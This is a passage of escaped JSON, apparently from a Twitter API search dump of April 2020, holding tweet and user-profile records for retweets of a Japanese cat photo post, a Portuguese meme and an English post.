\"source_status_id\":1254205590668062720,\"source_status_id_str\":\"1254205590668062720\",\"source_user_id\":3306955640,\"source_user_id_str\":\"3306955640\"},{\"id\":1254204986143043586,\"id_str\":\"1254204986143043586\",\"indices\":[71,94],\"media_url\":\"http:\\\/\\\/pbs.twimg.com\\\/media\\\/EWfUyjKUcAIAao-.jpg\",\"media_url_https\":\"https:\\\/\\\/pbs.twimg.com\\\/media\\\/EWfUyjKUcAIAao-.jpg\",\"url\":\"https:\\\/\\\/t.co\\\/YuXzj43xwf\",\"display_url\":\"pic.twitter.com\\\/YuXzj43xwf\",\"expanded_url\":\"https:\\\/\\\/twitter.com\\\/sakata_77\\\/status\\\/1254205590668062720\\\/photo\\\/1\",\"type\":\"photo\",\"sizes\":{\"thumb\":{\"w\":150,\"h\":150,\"resize\":\"crop\"},\"large\":{\"w\":1536,\"h\":2048,\"resize\":\"fit\"},\"medium\":{\"w\":900,\"h\":1200,\"resize\":\"fit\"},\"small\":{\"w\":510,\"h\":680,\"resize\":\"fit\"}},\"source_status_id\":1254205590668062720,\"source_status_id_str\":\"1254205590668062720\",\"source_user_id\":3306955640,\"source_user_id_str\":\"3306955640\"},{\"id\":1254204997614465024,\"id_str\":\"1254204997614465024\",\"indices\":[71,94],\"media_url\":\"http:\\\/\\\/pbs.twimg.com\\\/media\\\/EWfUzN5UcAAQ6Li.jpg\",\"media_url_https\":\"https:\\\/\\\/pbs.twimg.com\\\/media\\\/EWfUzN5UcAAQ6Li.jpg\",\"url\":\"https:\\\/\\\/t.co\\\/YuXzj43xwf\",\"display_url\":\"pic.twitter.com\\\/YuXzj43xwf\",\"expanded_url\":\"https:\\\/\\\/twitter.com\\\/sakata_77\\\/status\\\/1254205590668062720\\\/photo\\\/1\",\"type\":\"photo\",\"sizes\":{\"large\":{\"w\":2048,\"h\":1366,\"resize\":\"fit\"},\"thumb\":{\"w\":150,\"h\":150,\"resize\":\"crop\"},\"small\":{\"w\":680,\"h\":453,\"resize\":\"fit\"},\"medium\":{\"w\":1200,\"h\":800,\"resize\":\"fit\"}},\"source_status_id\":1254205590668062720,\"source_status_id_str\":\"1254205590668062720\",\"source_user_id\":3306955640,\"source_user_id_str\":\"3306955640\"}]},\"metadata\":{\"iso_language_code\":\"ja\",\"result_type\":\"recent\"},\"source\":\"\\u003ca href=\\\"http:\\\/\\\/twitter.com\\\/download\\\/android\\\" rel=\\\"nofollow\\\"\\u003eTwitter for Android\\u003c\\\/a\\u003e\",\"in_reply_to_status_id\":null,\"in_reply_to_status_id_str\":null,\"in_reply_to_user_id\":null,\"in_reply_to_user_id_str\":null,\"in_reply_to_screen_name\":null,\"user\":{\"id\":900746954463784961,\"id_str\":\"900746954463784961\",\"name\":\"\\u30b5\\u30de\\u30f3\\u30b5\",\"screen_name\":\"samantha_globe3\",\"location\":\"HIROSHIMA\\u2764\\ufe0f\\u2194HIGASHIHIROSHIMA\\u2764\\ufe0f\",\"description\":\"\\u30d7\\u30e9\\u30b9\\u30b5\\u30a4\\u30ba\\u30e2\\u30c7\\u30eb\\u306b\\u61a7\\u308c\\u308b\\u73fe\\u5f79\\u307d\\u3061\\u3083\\u30cd\\u30b3\\u30ca\\u30fc\\u30b9\\ud83d\\ude3d\\ud83d\\udc95\\n5\\u6b73\\u306e\\u606f\\u5b50\\ud83d\\ude83#QAJF \\u5f8c\\u65b9\\u652f\\u63f4\\u3061\\u3085\\ud83d\\ude18\\u7686\\u69d8\\u3082\\u3046\\u3001\\u6d41\\u77f3\\u306b\\u899a\\u9192\\u3057\\u7948\\u308a\\u307e\\u3057\\u3087\\ud83d\\ude4f\\u2728\",\"url\":null,\"entities\":{\"description\":{\"urls\":[]}},\"protected\":false,\"followers_count\":375,\"friends_count\":2326,\"listed_count\":2,\"created_at\":\"Thu Aug 24 15:49:43 +0000 2017\",\"favourites_count\":71089,\"utc_offset\":null,\"time_zone\":null,\"geo_enabled\":true,\"verified\":false,\"statuses_count\":30712,\"lang\":null,\"contributors_enabled\":false,\"is_translator\":false,\"is_translation_enabled\":false,\"profile_background_color\":\"F5F8FA\",\"profile_background_image_url\":null,\"profile_background_image_url_https\":null,\"profile_background_tile\":false,\"profile_image_url\":\"http:\\\/\\\/pbs.twimg.com\\\/profile_images\\\/958228394243575808\\\/cVcNKl_I_normal.jpg\",\"profile_image_url_https\":\"https:\\\/\\\/pbs.twimg.com\\\/profile_images\\\/958228394243575808\\\/cVcNKl_I_normal.jpg\",\"profile_banner_url\":\"https:\\\/\\\/pbs.twimg.com\\\/profile_banners\\\/900746954463784961\\\/1503591735\",\"profile_link_color\":\"1DA1F2\",\"profile_sidebar_border_color\":\"C0DEED\",\"profile_sidebar_fill_color\":\"DDEEF6\",\"profile_text_color\":\"333333\",\"profile_use_background_image\":true,\"has_extended_profile\":true,\"default_profile\":true,\"default_profile_image\":false,\"following\":false,\"follow_request_sent\":false,\"notifications\":false,\"translator_type\":\"none\"},\"geo\":null,\"coordinates\":null,\"place\":null,\"contributors\":null,\"retweeted_status\":{\"created_at\":\"Sun Apr 26 00:28:09 +0000 2020\",\"id\":1254205590668062720,\"id_str\":\"1254205590668062720\",\"text\":\"GW\\u3082\\u5bb6\\u3067\\u3084\\u308b\\u3053\\u3068\\u306a\\u304f\\u306a\\u3063\\u3066\\u304d\\u305f\\u304b\\u3089\\u5199\\u771f\\u30d5\\u30a9\\u30eb\\u30c0\\u3042\\u3055\\u3063\\u3066\\u305f\\u3089\\u5b8c\\u74a7\\u306a\\u62f3\\u6cd5\\u306e\\u69cb\\u3048\\u304b\\u3089\\u8e8d\\u52d5\\u3059\\u308b\\u732b\\u306e\\u5199\\u771f\\u3042\\u3063\\u305f\\u304b\\u3089\\u898b\\u3066 https:\\\/\\\/t.co\\\/YuXzj43xwf\",\"truncated\":false,\"entities\":{\"hashtags\":[],\"symbols\":[],\"user_mentions\":[],\"urls\":[],\"media\":[{\"id\":1254204964605325314,\"id_str\":\"1254204964605325314\",\"indices\":[56,79],\"media_url\":\"http:\\\/\\\/pbs.twimg.com\\\/media\\\/EWfUxS7U8AIFCk1.jpg\",\"media_url_https\":\"https:\\\/\\\/pbs.twimg.com\\\/media\\\/EWfUxS7U8AIFCk1.jpg\",\"url\":\"https:\\\/\\\/t.co\\\/YuXzj43xwf\",\"display_url\":\"pic.twitter.com\\\/YuXzj43xwf\",\"expanded_url\":\"https:\\\/\\\/twitter.com\\\/sakata_77\\\/status\\\/1254205590668062720\\\/photo\\\/1\",\"type\":\"photo\",\"sizes\":{\"thumb\":{\"w\":150,\"h\":150,\"resize\":\"crop\"},\"small\":{\"w\":680,\"h\":453,\"resize\":\"fit\"},\"large\":{\"w\":2048,\"h\":1366,\"resize\":\"fit\"},\"medium\":{\"w\":1200,\"h\":800,\"resize\":\"fit\"}}}]},\"extended_entities\":{\"media\":[{\"id\":1254204964605325314,\"id_str\":\"1254204964605325314\",\"indices\":[56,79],\"media_url\":\"http:\\\/\\\/pbs.twimg.com\\\/media\\\/EWfUxS7U8AIFCk1.jpg\",\"media_url_https\":\"https:\\\/\\\/pbs.twimg.com\\\/media\\\/EWfUxS7U8AIFCk1.jpg\",\"url\":\"https:\\\/\\\/t.co\\\/YuXzj43xwf\",\"display_url\":\"pic.twitter.com\\\/YuXzj43xwf\",\"expanded_url\":\"https:\\\/\\\/twitter.com\\\/sakata_77\\\/status\\\/1254205590668062720\\\/photo\\\/1\",\"type\":\"photo\",\"sizes\":{\"thumb\":{\"w\":150,\"h\":150,\"resize\":\"crop\"},\"small\":{\"w\":680,\"h\":453,\"resize\":\"fit\"},\"large\":{\"w\":2048,\"h\":1366,\"resize\":\"fit\"},\"medium\":{\"w\":1200,\"h\":800,\"resize\":\"fit\"}}},{\"id\":1254204976353521664,\"id_str\":\"1254204976353521664\",\"indices\":[56,79],\"media_url\":\"http:\\\/\\\/pbs.twimg.com\\\/media\\\/EWfUx-sUMAAi1h5.jpg\",\"media_url_https\":\"https:\\\/\\\/pbs.twimg.com\\\/media\\\/EWfUx-sUMAAi1h5.jpg\",\"url\":\"https:\\\/\\\/t.co\\\/YuXzj43xwf\",\"display_url\":\"pic.twitter.com\\\/YuXzj43xwf\",\"expanded_url\":\"https:\\\/\\\/twitter.com\\\/sakata_77\\\/status\\\/1254205590668062720\\\/photo\\\/1\",\"type\":\"photo\",\"sizes\":{\"thumb\":{\"w\":150,\"h\":150,\"resize\":\"crop\"},\"small\":{\"w\":510,\"h\":680,\"resize\":\"fit\"},\"medium\":{\"w\":900,\"h\":1200,\"resize\":\"fit\"},\"large\":{\"w\":1536,\"h\":2048,\"resize\":\"fit\"}}},{\"id\":1254204986143043586,\"id_str\":\"1254204986143043586\",\"indices\":[56,79],\"media_url\":\"http:\\\/\\\/pbs.twimg.com\\\/media\\\/EWfUyjKUcAIAao-.jpg\",\"media_url_https\":\"https:\\\/\\\/pbs.twimg.com\\\/media\\\/EWfUyjKUcAIAao-.jpg\",\"url\":\"https:\\\/\\\/t.co\\\/YuXzj43xwf\",\"display_url\":\"pic.twitter.com\\\/YuXzj43xwf\",\"expanded_url\":\"https:\\\/\\\/twitter.com\\\/sakata_77\\\/status\\\/1254205590668062720\\\/photo\\\/1\",\"type\":\"photo\",\"sizes\":{\"thumb\":{\"w\":150,\"h\":150,\"resize\":\"crop\"},\"large\":{\"w\":1536,\"h\":2048,\"resize\":\"fit\"},\"medium\":{\"w\":900,\"h\":1200,\"resize\":\"fit\"},\"small\":{\"w\":510,\"h\":680,\"resize\":\"fit\"}}},{\"id\":1254204997614465024,\"id_str\":\"1254204997614465024\",\"indices\":[56,79],\"media_url\":\"http:\\\/\\\/pbs.twimg.com\\\/media\\\/EWfUzN5UcAAQ6Li.jpg\",\"media_url_https\":\"https:\\\/\\\/pbs.twimg.com\\\/media\\\/EWfUzN5UcAAQ6Li.jpg\",\"url\":\"https:\\\/\\\/t.co\\\/YuXzj43xwf\",\"display_url\":\"pic.twitter.com\\\/YuXzj43xwf\",\"expanded_url\":\"https:\\\/\\\/twitter.com\\\/sakata_77\\\/status\\\/1254205590668062720\\\/photo\\\/1\",\"type\":\"photo\",\"sizes\":{\"large\":{\"w\":2048,\"h\":1366,\"resize\":\"fit\"},\"thumb\":{\"w\":150,\"h\":150,\"resize\":\"crop\"},\"small\":{\"w\":680,\"h\":453,\"resize\":\"fit\"},\"medium\":{\"w\":1200,\"h\":800,\"resize\":\"fit\"}}}]},\"metadata\":{\"iso_language_code\":\"ja\",\"result_type\":\"recent\"},\"source\":\"\\u003ca href=\\\"https:\\\/\\\/mobile.twitter.com\\\" rel=\\\"nofollow\\\"\\u003eTwitter Web App\\u003c\\\/a\\u003e\",\"in_reply_to_status_id\":null,\"in_reply_to_status_id_str\":null,\"in_reply_to_user_id\":null,\"in_reply_to_user_id_str\":null,\"in_reply_to_screen_name\":null,\"user\":{\"id\":3306955640,\"id_str\":\"3306955640\",\"name\":\"\\u4e45\\u65b9 \\u5e83\\u4e4b\\u300c\\u306e\\u3089\\u732b\\u62f3\\u300d\",\"screen_name\":\"sakata_77\",\"location\":\"\",\"description\":\"hisakata hiroyuki cat photographer \\u65e7\\u540d\\u30a2\\u30af\\u30bb\\u30f3\\u30c8 \\u5199\\u771f\\u96c6\\u300c\\u306e\\u3089\\u732b\\u62f3\\u300d\\u30d5\\u30a9\\u30ed\\u30fc\\u304a\\u6c17\\u8efd\\u306b \\u4e5d\\u5dde\\u5728\\u4f4f\\u3001\\u732b\\u3058\\u3083\\u3089\\u3057\\u3092\\u4f7f\\u3063\\u305f\\u64ae\\u5f71\\u304c\\u5f97\\u610f\\u3067\\u3059 \\u5199\\u771f\\u306e\\u7121\\u65ad\\u8ee2\\u8f09\\u53ca\\u3073\\u4f7f\\u7528\\u306f\\u7981\\u6b62 \\u8b1b\\u6f14\\u4f9d\\u983c\\u3042\\u308c\\u3070\\u3054\\u76f8\\u8ac7\\u304f\\u3060\\u3055\\u3044 \\u4f7f\\u7528\\u6a5f\\u7a2e\\uff1aOlympus E-M1Mk2 \\u9023\\u7d61\\u5148 sakata_77@hotmail.com\",\"url\":null,\"entities\":{\"description\":{\"urls\":[]}},\"protected\":false,\"followers_count\":80561,\"friends_count\":708,\"listed_count\":1180,\"created_at\":\"Wed Aug 05 13:21:20 +0000 2015\",\"favourites_count\":2835,\"utc_offset\":null,\"time_zone\":null,\"geo_enabled\":false,\"verified\":false,\"statuses_count\":2385,\"lang\":null,\"contributors_enabled\":false,\"is_translator\":false,\"is_translation_enabled\":false,\"profile_background_color\":\"000000\",\"profile_background_image_url\":\"http:\\\/\\\/abs.twimg.com\\\/images\\\/themes\\\/theme1\\\/bg.png\",\"profile_background_image_url_https\":\"https:\\\/\\\/abs.twimg.com\\\/images\\\/themes\\\/theme1\\\/bg.png\",\"profile_background_tile\":false,\"profile_image_url\":\"http:\\\/\\\/pbs.twimg.com\\\/profile_images\\\/1117280420414943232\\\/y6ZDhbQm_normal.png\",\"profile_image_url_https\":\"https:\\\/\\\/pbs.twimg.com\\\/profile_images\\\/1117280420414943232\\\/y6ZDhbQm_normal.png\",\"profile_banner_url\":\"https:\\\/\\\/pbs.twimg.com\\\/profile_banners\\\/3306955640\\\/1539213231\",\"profile_link_color\":\"FF691F\",\"profile_sidebar_border_color\":\"000000\",\"profile_sidebar_fill_color\":\"000000\",\"profile_text_color\":\"000000\",\"profile_use_background_image\":false,\"has_extended_profile\":false,\"default_profile\":false,\"default_profile_image\":false,\"following\":false,\"follow_request_sent\":false,\"notifications\":false,\"translator_type\":\"none\"},\"geo\":null,\"coordinates\":null,\"place\":null,\"contributors\":null,\"is_quote_status\":false,\"retweet_count\":48,\"favorite_count\":121,\"favorited\":false,\"retweeted\":false,\"possibly_sensitive\":false,\"lang\":\"ja\"},\"is_quote_status\":false,\"retweet_count\":48,\"favorite_count\":0,\"favorited\":false,\"retweeted\":false,\"possibly_sensitive\":false,\"lang\":\"ja\"},{\"created_at\":\"Sun Apr 26 00:31:49 +0000 2020\",\"id\":1254206511460618240,\"id_str\":\"1254206511460618240\",\"text\":\"RT @oubrisado: pessoal do meu wpp esperando eu responder \\\/ eu de boa no twitter https:\\\/\\\/t.co\\\/HHEIJZwrMm\",\"truncated\":false,\"entities\":{\"hashtags\":[],\"symbols\":[],\"user_mentions\":[{\"screen_name\":\"oubrisado\",\"name\":\"brisado\",\"id\":1224850562123997185,\"id_str\":\"1224850562123997185\",\"indices\":[3,13]}],\"urls\":[],\"media\":[{\"id\":1210301618455023616,\"id_str\":\"1210301618455023616\",\"indices\":[80,103],\"media_url\":\"http:\\\/\\\/pbs.twimg.com\\\/media\\\/EMva6NcXkAAAKa9.jpg\",\"media_url_https\":\"https:\\\/\\\/pbs.twimg.com\\\/media\\\/EMva6NcXkAAAKa9.jpg\",\"url\":\"https:\\\/\\\/t.co\\\/HHEIJZwrMm\",\"display_url\":\"pic.twitter.com\\\/HHEIJZwrMm\",\"expanded_url\":\"https:\\\/\\\/twitter.com\\\/sincerojesuis\\\/status\\\/1210301628651364352\\\/photo\\\/1\",\"type\":\"photo\",\"sizes\":{\"small\":{\"w\":530,\"h\":680,\"resize\":\"fit\"},\"thumb\":{\"w\":150,\"h\":150,\"resize\":\"crop\"},\"large\":{\"w\":798,\"h\":1024,\"resize\":\"fit\"},\"medium\":{\"w\":798,\"h\":1024,\"resize\":\"fit\"}},\"source_status_id\":1210301628651364352,\"source_status_id_str\":\"1210301628651364352\",\"source_user_id\":927680014627241984,\"source_user_id_str\":\"927680014627241984\"}]},\"extended_entities\":{\"media\":[{\"id\":1210301618455023616,\"id_str\":\"1210301618455023616\",\"indices\":[80,103],\"media_url\":\"http:\\\/\\\/pbs.twimg.com\\\/media\\\/EMva6NcXkAAAKa9.jpg\",\"media_url_https\":\"https:\\\/\\\/pbs.twimg.com\\\/media\\\/EMva6NcXkAAAKa9.jpg\",\"url\":\"https:\\\/\\\/t.co\\\/HHEIJZwrMm\",\"display_url\":\"pic.twitter.com\\\/HHEIJZwrMm\",\"expanded_url\":\"https:\\\/\\\/twitter.com\\\/sincerojesuis\\\/status\\\/1210301628651364352\\\/photo\\\/1\",\"type\":\"photo\",\"sizes\":{\"small\":{\"w\":530,\"h\":680,\"resize\":\"fit\"},\"thumb\":{\"w\":150,\"h\":150,\"resize\":\"crop\"},\"large\":{\"w\":798,\"h\":1024,\"resize\":\"fit\"},\"medium\":{\"w\":798,\"h\":1024,\"resize\":\"fit\"}},\"source_status_id\":1210301628651364352,\"source_status_id_str\":\"1210301628651364352\",\"source_user_id\":927680014627241984,\"source_user_id_str\":\"927680014627241984\"},{\"id\":1210301623312044032,\"id_str\":\"1210301623312044032\",\"indices\":[80,103],\"media_url\":\"http:\\\/\\\/pbs.twimg.com\\\/media\\\/EMva6fiX0AAmnHI.jpg\",\"media_url_https\":\"https:\\\/\\\/pbs.twimg.com\\\/media\\\/EMva6fiX0AAmnHI.jpg\",\"url\":\"https:\\\/\\\/t.co\\\/HHEIJZwrMm\",\"display_url\":\"pic.twitter.com\\\/HHEIJZwrMm\",\"expanded_url\":\"https:\\\/\\\/twitter.com\\\/sincerojesuis\\\/status\\\/1210301628651364352\\\/photo\\\/1\",\"type\":\"photo\",\"sizes\":{\"thumb\":{\"w\":150,\"h\":150,\"resize\":\"crop\"},\"small\":{\"w\":680,\"h\":669,\"resize\":\"fit\"},\"large\":{\"w\":952,\"h\":937,\"resize\":\"fit\"},\"medium\":{\"w\":952,\"h\":937,\"resize\":\"fit\"}},\"source_status_id\":1210301628651364352,\"source_status_id_str\":\"1210301628651364352\",\"source_user_id\":927680014627241984,\"source_user_id_str\":\"927680014627241984\"}]},\"metadata\":{\"iso_language_code\":\"pt\",\"result_type\":\"recent\"},\"source\":\"\\u003ca href=\\\"https:\\\/\\\/mobile.twitter.com\\\" rel=\\\"nofollow\\\"\\u003eTwitter Web App\\u003c\\\/a\\u003e\",\"in_reply_to_status_id\":null,\"in_reply_to_status_id_str\":null,\"in_reply_to_user_id\":null,\"in_reply_to_user_id_str\":null,\"in_reply_to_screen_name\":null,\"user\":{\"id\":1104425682640228353,\"id_str\":\"1104425682640228353\",\"name\":\"pav\\u00e3o :)\",\"screen_name\":\"leeonexx\",\"location\":\"\",\"description\":\"ig: ___.its.leonor.__\",\"url\":null,\"entities\":{\"description\":{\"urls\":[]}},\"protected\":false,\"followers_count\":160,\"friends_count\":363,\"listed_count\":0,\"created_at\":\"Sat Mar 09 16:56:16 +0000 2019\",\"favourites_count\":4884,\"utc_offset\":null,\"time_zone\":null,\"geo_enabled\":false,\"verified\":false,\"statuses_count\":14316,\"lang\":null,\"contributors_enabled\":false,\"is_translator\":false,\"is_translation_enabled\":false,\"profile_background_color\":\"000000\",\"profile_background_image_url\":\"http:\\\/\\\/abs.twimg.com\\\/images\\\/themes\\\/theme1\\\/bg.png\",\"profile_background_image_url_https\":\"https:\\\/\\\/abs.twimg.com\\\/images\\\/themes\\\/theme1\\\/bg.png\",\"profile_background_tile\":false,\"profile_image_url\":\"http:\\\/\\\/pbs.twimg.com\\\/profile_images\\\/1251952533280612353\\\/DYZ4Yx5-_normal.jpg\",\"profile_image_url_https\":\"https:\\\/\\\/pbs.twimg.com\\\/profile_images\\\/1251952533280612353\\\/DYZ4Yx5-_normal.jpg\",\"profile_banner_url\":\"https:\\\/\\\/pbs.twimg.com\\\/profile_banners\\\/1104425682640228353\\\/1587327294\",\"profile_link_color\":\"1B95E0\",\"profile_sidebar_border_color\":\"000000\",\"profile_sidebar_fill_color\":\"000000\",\"profile_text_color\":\"000000\",\"profile_use_background_image\":false,\"has_extended_profile\":false,\"default_profile\":false,\"default_profile_image\":false,\"following\":false,\"follow_request_sent\":false,\"notifications\":false,\"translator_type\":\"none\"},\"geo\":null,\"coordinates\":null,\"place\":null,\"contributors\":null,\"retweeted_status\":{\"created_at\":\"Sat Apr 25 15:01:11 +0000 2020\",\"id\":1254062910847975424,\"id_str\":\"1254062910847975424\",\"text\":\"pessoal do meu wpp esperando eu responder \\\/ eu de boa no twitter https:\\\/\\\/t.co\\\/HHEIJZwrMm\",\"truncated\":false,\"entities\":{\"hashtags\":[],\"symbols\":[],\"user_mentions\":[],\"urls\":[],\"media\":[{\"id\":1210301618455023616,\"id_str\":\"1210301618455023616\",\"indices\":[65,88],\"media_url\":\"http:\\\/\\\/pbs.twimg.com\\\/media\\\/EMva6NcXkAAAKa9.jpg\",\"media_url_https\":\"https:\\\/\\\/pbs.twimg.com\\\/media\\\/EMva6NcXkAAAKa9.jpg\",\"url\":\"https:\\\/\\\/t.co\\\/HHEIJZwrMm\",\"display_url\":\"pic.twitter.com\\\/HHEIJZwrMm\",\"expanded_url\":\"https:\\\/\\\/twitter.com\\\/sincerojesuis\\\/status\\\/1210301628651364352\\\/photo\\\/1\",\"type\":\"photo\",\"sizes\":{\"small\":{\"w\":530,\"h\":680,\"resize\":\"fit\"},\"thumb\":{\"w\":150,\"h\":150,\"resize\":\"crop\"},\"large\":{\"w\":798,\"h\":1024,\"resize\":\"fit\"},\"medium\":{\"w\":798,\"h\":1024,\"resize\":\"fit\"}},\"source_status_id\":1210301628651364352,\"source_status_id_str\":\"1210301628651364352\",\"source_user_id\":927680014627241984,\"source_user_id_str\":\"927680014627241984\"}]},\"extended_entities\":{\"media\":[{\"id\":1210301618455023616,\"id_str\":\"1210301618455023616\",\"indices\":[65,88],\"media_url\":\"http:\\\/\\\/pbs.twimg.com\\\/media\\\/EMva6NcXkAAAKa9.jpg\",\"media_url_https\":\"https:\\\/\\\/pbs.twimg.com\\\/media\\\/EMva6NcXkAAAKa9.jpg\",\"url\":\"https:\\\/\\\/t.co\\\/HHEIJZwrMm\",\"display_url\":\"pic.twitter.com\\\/HHEIJZwrMm\",\"expanded_url\":\"https:\\\/\\\/twitter.com\\\/sincerojesuis\\\/status\\\/1210301628651364352\\\/photo\\\/1\",\"type\":\"photo\",\"sizes\":{\"small\":{\"w\":530,\"h\":680,\"resize\":\"fit\"},\"thumb\":{\"w\":150,\"h\":150,\"resize\":\"crop\"},\"large\":{\"w\":798,\"h\":1024,\"resize\":\"fit\"},\"medium\":{\"w\":798,\"h\":1024,\"resize\":\"fit\"}},\"source_status_id\":1210301628651364352,\"source_status_id_str\":\"1210301628651364352\",\"source_user_id\":927680014627241984,\"source_user_id_str\":\"927680014627241984\"},{\"id\":1210301623312044032,\"id_str\":\"1210301623312044032\",\"indices\":[65,88],\"media_url\":\"http:\\\/\\\/pbs.twimg.com\\\/media\\\/EMva6fiX0AAmnHI.jpg\",\"media_url_https\":\"https:\\\/\\\/pbs.twimg.com\\\/media\\\/EMva6fiX0AAmnHI.jpg\",\"url\":\"https:\\\/\\\/t.co\\\/HHEIJZwrMm\",\"display_url\":\"pic.twitter.com\\\/HHEIJZwrMm\",\"expanded_url\":\"https:\\\/\\\/twitter.com\\\/sincerojesuis\\\/status\\\/1210301628651364352\\\/photo\\\/1\",\"type\":\"photo\",\"sizes\":{\"thumb\":{\"w\":150,\"h\":150,\"resize\":\"crop\"},\"small\":{\"w\":680,\"h\":669,\"resize\":\"fit\"},\"large\":{\"w\":952,\"h\":937,\"resize\":\"fit\"},\"medium\":{\"w\":952,\"h\":937,\"resize\":\"fit\"}},\"source_status_id\":1210301628651364352,\"source_status_id_str\":\"1210301628651364352\",\"source_user_id\":927680014627241984,\"source_user_id_str\":\"927680014627241984\"}]},\"metadata\":{\"iso_language_code\":\"pt\",\"result_type\":\"recent\"},\"source\":\"\\u003ca href=\\\"http:\\\/\\\/twitter.com\\\/download\\\/android\\\" rel=\\\"nofollow\\\"\\u003eTwitter for Android\\u003c\\\/a\\u003e\",\"in_reply_to_status_id\":null,\"in_reply_to_status_id_str\":null,\"in_reply_to_user_id\":null,\"in_reply_to_user_id_str\":null,\"in_reply_to_screen_name\":null,\"user\":{\"id\":1224850562123997185,\"id_str\":\"1224850562123997185\",\"name\":\"brisado\",\"screen_name\":\"oubrisado\",\"location\":\"\",\"description\":\"o mais brisado desse site\",\"url\":null,\"entities\":{\"description\":{\"urls\":[]}},\"protected\":false,\"followers_count\":37347,\"friends_count\":2,\"listed_count\":12,\"created_at\":\"Wed Feb 05 00:21:59 +0000 2020\",\"favourites_count\":0,\"utc_offset\":null,\"time_zone\":null,\"geo_enabled\":false,\"verified\":false,\"statuses_count\":293,\"lang\":null,\"contributors_enabled\":false,\"is_translator\":false,\"is_translation_enabled\":false,\"profile_background_color\":\"F5F8FA\",\"profile_background_image_url\":null,\"profile_background_image_url_https\":null,\"profile_background_tile\":false,\"profile_image_url\":\"http:\\\/\\\/pbs.twimg.com\\\/profile_images\\\/1247598226791858184\\\/DHOMTvrj_normal.jpg\",\"profile_image_url_https\":\"https:\\\/\\\/pbs.twimg.com\\\/profile_images\\\/1247598226791858184\\\/DHOMTvrj_normal.jpg\",\"profile_link_color\":\"1DA1F2\",\"profile_sidebar_border_color\":\"C0DEED\",\"profile_sidebar_fill_color\":\"DDEEF6\",\"profile_text_color\":\"333333\",\"profile_use_background_image\":true,\"has_extended_profile\":false,\"default_profile\":true,\"default_profile_image\":false,\"following\":false,\"follow_request_sent\":false,\"notifications\":false,\"translator_type\":\"none\"},\"geo\":null,\"coordinates\":null,\"place\":null,\"contributors\":null,\"is_quote_status\":false,\"retweet_count\":2309,\"favorite_count\":4939,\"favorited\":false,\"retweeted\":false,\"possibly_sensitive\":false,\"lang\":\"pt\"},\"is_quote_status\":false,\"retweet_count\":2309,\"favorite_count\":0,\"favorited\":false,\"retweeted\":false,\"possibly_sensitive\":false,\"lang\":\"pt\"},{\"created_at\":\"Sun Apr 26 00:31:49 +0000 2020\",\"id\":1254206511431196678,\"id_str\":\"1254206511431196678\",\"text\":\"RT @DistinCray_: I\\u2019m crying he said yall gon see this WAIST \\ud83d\\ude2d\",\"truncated\":false,\"entities\":{\"hashtags\":[],\"symbols\":[],\"user_mentions\":[{\"screen_name\":\"DistinCray_\",\"name\":\"AK\",\"id\":180398421,\"id_str\":\"180398421\",\"indices\":[3,15]}],\"urls\":[]},\"metadata\":{\"iso_language_code\":\"en\",\"result_type\":\"recent\"},\"source\":\"\\u003ca href=\\\"http:\\\/\\\/twitter.com\\\/download\\\/iphone\\\" rel=\\\"nofollow\\\"\\u003eTwitter for iPhone\\u003c\\\/a\\u003e\",\"in_reply_to_status_id\":null,\"in_reply_to_status_id_str\":null,\"in_reply_to_user_id\":null,\"in_reply_to_user_id_str\":null,\"in_reply_to_screen_name\":null,\"user\":{\"id\":303139504,\"id_str\":\"303139504\",\"name\":\"koshie\",\"screen_name\":\"bethellana_\",\"location\":\"london\",\"description\":\"\\ud83c\\uddec\\ud83c\\udded\\ud83d\\udc78\\ud83c\\udffe\",\"url\":null,\"entities\":{\"description\":{\"urls\":[]}},\"protected\":false,\"followers_count\":208,\"friends_count\":93,\"listed_count\":0,\"created_at\":\"Sun May 22 10:59:13 +0000 2011\",\"favourites_count\":5392,\"utc_offset\":null,\"time_zone\":null,\"geo_enabled\":false,\"verified\":false,\"statuses_count\":19373,\"lang\":null,\"contributors_enabled\":false,\"is_translator\":false,\"is_translation_enabled\":false,\"profile_background_color\":\"FCEBB6\",\"profile_background_image_url\":\"http:\\\/\\\/abs.twimg.com\\\/images\\\/themes\\\/theme4\\\/bg.gif\",\"profile_background_image_url_https\":\"https:\\\/\\\/abs.twimg.com\\\/images\\\/themes\\\/theme4\\\/bg.gif\",\"profile_background_tile\":true,\"profile_image_url\":\"http:\\\/\\\/pbs.twimg.com\\\/profile_images\\\/1215383177281310720\\\/uESNsmy0_normal.jpg\",\"profile_image_url_https\":\"https:\\\/\\\/pbs.twimg.com\\\/profile_images\\\/1215383177281310720\\\/uESNsmy0_normal.jpg\",\"profile_banner_url\":\"https:\\\/\\\/pbs.twimg.com\\\/profile_banners\\\/303139504\\\/1578604905\",\"profile_link_color\":\"CE7834\",\"profile_sidebar_border_color\":\"F0A830\",\"profile_sidebar_fill_color\":\"78C0A8\",\"profile_text_color\":\"5E412F\",\"profile_use_background_image\":true,\"has_extended_profile\":true,\"default_profile\":false,\"default_profile_image\":false,\"following\":false,\"follow_request_sent\":false,\"notifications\":false,\"translator_type\":\"none\"},\"geo\":null,\"coordinates\":null,\"place\":null,\"contributors\":null,\"retweeted_status\":{\"created_at\":\"Sat Apr 25 21:07:31 +0000 2020\",\"id\":1254155098160279553,\"id_str\":\"1254155098160279553\",\"text\":\"I\\u2019m crying he said yall gon see this WAIST \\ud83d\\ude2d https:\\\/\\\/t.co\\\/4RAOYyntaH\",\"truncated\":false,\"entities\":{\"hashtags\":[],\"symbols\":[],\"user_mentions\":[],\"urls\":[{\"url\":\"https:\\\/\\\/t.co\\\/4RAOYyntaH\",\"expanded_url\":\"https:\\\/\\\/twitter.com\\\/gloriaolembo\\\/status\\\/1254136568417259521\",\"display_url\":\"twitter.com\\\/gloriaolembo\\\/s\\u2026\",\"indices\":[45,68]}]},\"metadata\":{\"iso_language_code\":\"en\",\"result_type\":\"recent\"},\"source\":\"\\u003ca href=\\\"http:\\\/\\\/twitter.com\\\/download\\\/iphone\\\" rel=\\\"nofollow\\\"\\u003eTwitter for iPhone\\u003c\\\/a\\u003e\",\"in_reply_to_status_id\":null,\"in_reply_to_status_id_str\":null,\"in_reply_to_user_id\":null,\"in_reply_to_user_id_str\":null,\"in_reply_to_screen_name\":null,\"user\":{\"id\":180398421,\"id_str\":\"180398421\",\"name\":\"AK\",\"screen_name\":\"DistinCray_\",\"location\":\"\",\"description\":\"patterner | R2R\",\"url\":null,\"entities\":{\"description\":{\"urls\":[]}},\"protected\":false,\"followers_count\":2850,\"friends_count\":459,\"listed_count\":53,\"created_at\":\"Thu Aug 19 14:56:56 +0000 